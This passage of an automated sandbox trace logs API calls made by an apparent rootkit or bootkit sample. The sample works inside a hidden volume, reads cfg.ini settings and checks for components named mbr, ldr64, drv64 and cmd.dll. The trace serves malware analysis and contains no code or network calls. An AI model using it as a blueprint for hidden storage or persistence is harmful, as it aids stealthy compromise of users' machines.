_MaxCount=0x10) returned 7 [0125.633] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.634] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.634] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8b70 [0125.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] KeLeaveCriticalRegion () [0125.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.634] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.634] KeEnterCriticalRegion () [0125.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] KeLeaveCriticalRegion () [0125.634] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.634] KeEnterCriticalRegion () [0125.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.634] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.634] IdePortDispatch () returned 0x103 [0125.634] KeWaitForMutexObject () returned 0x0 [0125.634] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.634] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] KeLeaveCriticalRegion () [0125.634] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.634] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.634] KeEnterCriticalRegion () [0125.634] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.634] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbc000 [0125.634] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.634] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.634] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.634] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.634] IdePortDispatch () returned 0x103 [0125.635] KeWaitForMutexObject () returned 0x0 [0125.635] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.635] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.635] IdePortDispatch () returned 0x103 [0125.636] KeWaitForMutexObject () returned 0x0 [0125.636] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.636] KeLeaveCriticalRegion () [0125.636] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.637] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.637] KeEnterCriticalRegion () [0125.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] KeLeaveCriticalRegion () [0125.637] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.637] KeEnterCriticalRegion () [0125.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.637] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6870, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] KeLeaveCriticalRegion () [0125.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.637] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.637] KeEnterCriticalRegion () [0125.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] ExFreePoolWithTag (P=0xfffffa8003bf8b70, Tag=0x0) [0125.637] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] KeLeaveCriticalRegion () [0125.637] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.637] ReleaseMutex (hMutex=0xf0) returned 1 [0125.637] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.637] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.637] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.637] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.637] KeEnterCriticalRegion () [0125.637] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.637] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.637] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.637] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.637] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.637] IdePortDispatch () returned 0x103 [0125.638] KeWaitForMutexObject () returned 0x0 [0125.638] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.638] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.638] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.638] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.638] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.638] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.638] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.638] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.638] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.638] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.638] KeLeaveCriticalRegion () [0125.638] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.638] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.638] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.638] KeEnterCriticalRegion () [0125.638] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.638] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.638] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.638] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.638] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.638] IdePortDispatch () returned 0x103 [0125.638] KeWaitForMutexObject () returned 0x0 [0125.638] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.638] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.638] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.638] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.638] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.638] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.639] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.639] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.639] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.639] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.639] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.639] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.639] KeLeaveCriticalRegion () [0125.639] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.639] ReleaseMutex (hMutex=0x100) returned 1 [0125.639] Sleep (dwMilliseconds=0x2bf20) [0125.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6e159a10, dwHighDateTime=0x1d24fa4)) [0125.645] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0125.645] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.645] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.645] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.645] KeEnterCriticalRegion () [0125.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.645] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.645] IdePortDispatch () returned 0x103 [0125.645] KeWaitForMutexObject () returned 0x0 [0125.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.645] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.645] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.645] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.645] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.645] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8ec0 [0125.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] KeLeaveCriticalRegion () [0125.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.646] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.646] KeEnterCriticalRegion () [0125.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] KeLeaveCriticalRegion () [0125.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.646] KeEnterCriticalRegion () [0125.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.646] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.646] IdePortDispatch () returned 0x103 [0125.646] KeWaitForMutexObject () returned 0x0 [0125.646] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] KeLeaveCriticalRegion () [0125.646] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.646] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.646] KeEnterCriticalRegion () [0125.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.646] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cbf000 [0125.646] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.646] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.646] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.646] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.646] IdePortDispatch () returned 0x103 [0125.647] KeWaitForMutexObject () returned 0x0 [0125.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.647] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.647] IdePortDispatch () returned 0x103 [0125.647] KeWaitForMutexObject () returned 0x0 [0125.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.647] KeLeaveCriticalRegion () [0125.647] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.647] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.647] KeEnterCriticalRegion () [0125.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.647] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.647] KeLeaveCriticalRegion () [0125.647] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.648] KeEnterCriticalRegion () [0125.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.648] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf9f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] KeLeaveCriticalRegion () [0125.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.648] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.648] KeEnterCriticalRegion () [0125.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] ExFreePoolWithTag (P=0xfffffa8003bf8ec0, Tag=0x0) [0125.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] KeLeaveCriticalRegion () [0125.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.648] ReleaseMutex (hMutex=0xf0) returned 1 [0125.648] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.648] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.648] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.648] KeEnterCriticalRegion () [0125.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.648] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.648] IdePortDispatch () returned 0x103 [0125.648] KeWaitForMutexObject () returned 0x0 [0125.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.648] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.648] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.648] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.648] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.648] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf8b70 [0125.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.648] KeLeaveCriticalRegion () [0125.648] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.648] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.649] KeEnterCriticalRegion () [0125.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.649] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.649] KeLeaveCriticalRegion () [0125.649] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.649] KeEnterCriticalRegion () [0125.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.649] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.649] IdePortDispatch () returned 0x103 [0125.649] KeWaitForMutexObject () returned 0x0 [0125.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.649] KeLeaveCriticalRegion () [0125.649] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.649] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.649] KeEnterCriticalRegion () [0125.649] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.649] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cc0000 [0125.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.649] IdePortDispatch () returned 0x103 [0125.650] KeWaitForMutexObject () returned 0x0 [0125.650] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.650] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.650] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.650] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.650] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.650] IdePortDispatch () returned 0x103 [0125.650] KeWaitForMutexObject () returned 0x0 [0125.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.650] KeLeaveCriticalRegion () [0125.650] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.650] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.650] KeEnterCriticalRegion () [0125.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: 